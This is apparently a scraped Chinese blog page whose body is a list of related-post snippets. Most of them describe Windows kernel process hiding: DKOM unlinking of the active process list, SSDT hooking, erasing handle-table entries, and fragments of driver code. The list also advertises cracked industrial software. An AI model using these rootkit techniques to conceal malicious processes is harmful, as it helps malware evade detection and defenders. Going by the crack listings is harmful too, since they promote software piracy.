1、上电默认进入STANDBY模式,SPI发送0xFF也可以进入STANDBY模式2、看门狗定时器超时后,进入SLEEP状态3、配置寄存器中的REFON位使用WRCFGA命令将组A设置为1进入REFUP状态,此状态比待机状态更快地启动ADC转换。i<TOTAL_IC;i++)注意:读AFE数据时会随着AFE片数增加而增加,原因是唤醒时间和AFE片数密切相关,如果需要缩短时间,那么减少唤醒频次。

m0_61973119的博客 267

【Claude】Extra inputs are not permitted 错误:代理剥离 Beta 标头的解决方案 bug报错已解决

深入分析Claude Code Extra inputs are not permitted 400错误的技术原理,解析代理剥离Beta标头的根因与多种修复方案。

一键难忘的博客 150

Windows中的桌面管理 安全与访问权限 Desktop Security and Access Rights

Security enables you to control access to desktop objects. For more information about security, see Access-Control Model.You can specify a security descriptor for a desktop object when you call the CreateDesktop or CreateDesktopEx function. If you specify

没事的时候找点事做。 5454

黑猫带你学eMMC协议第11篇:eMMC擦除详解(erase/trim/discard/sanitize/secure erase/secure trim...)

erase命令单位是擦除组,那么一个擦出组包含多个写块,不同写块有不同信息,主机擦除之前,必须进行确定好这些写块中的信息没有用了。所以通常erase用来擦除整个设备或分区。erase完成后,将erase的区域都要么是全0,要么是全1。那么到底是0还是1呢,根据不同的工艺有所不同,但是别担心,在ecsd[181]中会有说明到底是1还是0。erase命令的作用就是简单的将映射地址范围移动到未映射的地址范围。

黑猫奥利奥的博客 7797

一段进程隐藏的代码

打开物理内存->找到活动进程链表->摘除自己这个用去动作很简单:#define DEBUGMSG#include #define DWORD ULONG#define NT_DEVICE_NAME          L"//Device//king"#define DOS_DEVICE_NAME         L"//DosDevices//king"void DriverUnloAd(IN P

2917

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

[网友LionD8的毕业论文]Windows2000 内核级进程隐藏、侦测技术

Windows2000 内核级进程隐藏、侦测技术                                                                                               指导老师:龙老师                                                                         

heiyeluren的blog(黑夜路人的开源世界) 4188

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

通过Hook SSDT (System Service Dispath Table) 隐藏进程

1.原理介绍:        Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到

rosykee的专栏 929

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

修改活动进程链隐藏进程

如何修改活动进程链来隐藏进程?通过PsGetCurrentProcess函数可以获取当前线程的EPROCESS,反汇编这个函数的话可以看到这个内核函数只有三行: mov eax, fs:0x00000124; mov eax, [eax + 0x44]; ret Windows中有一个叫Kernel's Processor Control Block (KPRCB),核心处理控制块的结

Puzzle的专栏 1930

隐藏进程之内核版

隐藏进程之内核版实现 隐藏进程通常出现在恶意程序中,隐藏的进程能让任务管理器、procexp等3环的程序无法找到它,那么如何实现隐藏进程呢? 由于对这方面还是很感兴趣,今天就来研究一下内核层的隐藏进程,首先在用户层3环,如任务管理器、procexp遍历进程都是使用CreateToolhelp32Snapshot()API创建快照遍历查找的,使用快照的API在内核中就是通过访问一个双向链表的数据结构...

qq_31507523的博客 3314

遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

1.EPROCESS结构体 EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。 2.查看EPROCESS结构 kd> dt_e...

390

进程隐藏的两种方法

进程隐藏的两种方法                                        作者:dge                              进程隐藏的两种方法这两种都是很古老的方法,因为无聊,所以写了一下。代码在XP_SP2下调试通过.(1).从活动进程链表(ActiveProcessLinks)中摘除自身,这种方法可以欺骗任务管理器,下面这个程序做的

965

修改 动进程链表 进行隐藏

(DWORD) PsGetCurrentProcess();  返回的 是一个 结构体. 结构体第一个成员是 第一个EPROCESS的地址.    PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x805637b8; //这个硬编找的 . 上面那个EPROCESS+88=这个值了;//88是 xp sp2的 活动进程 链表的 偏移   pid =84

天蓝的专栏 917

隐藏进程

先从活动进程链表中摘除 擦除PspCidTable中对应的Object 再擦除Csrss进程中那份表擦除HandleTable表用了一些技巧,检测隐藏进程的方法就这么多了通过这几种途径检测不到的其他的方法就不知道了,不用亲自操作三层表,不是网上流传的方法,具体请看代码......使用的时候直接HideProcessById(HIDE_PID)就行了  #ifndef __PROCESSHIDE_H

Deepest_Ice_Blue的专栏 782

断链隐藏进程

新手windbg使用,入门内核

m0_75243362的博客 1621

Windows2000 内核级进程隐藏、侦测技术

摘要     信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。  关键字: 内核, 拦截, 活动进程链表, 系统服务派遣表, 线程调度链 Abstract        Nowadays, i

4691

Windows2003 内核级进程隐藏、侦测技术

论文关键字:内核 拦截 活动进程链表 系统服务派遣表 线程调度链驱动程序简介  论文摘要:信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。  1.为什么选驱动程序  驱动程序是运行在系统信任的Rin...

weixin_30539835的博客 138

隐藏进程 驱动级 摘链 任务管理器看不到

闲着蛋疼写来玩玩练练手没啥技术含量只是个简单的摘链任务管理器看不到 测试环境 Win7 x86 typedef struct { DWORD_PTR EProcess; UCHAR* ImageName; ULONG ProcessID; }_Process_Info; NTSTATUS HideProcess() { ...

Shirley068的博客 702
上一篇: Int 2Ah - KiGetTickCount
下一篇: PE线程附加
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值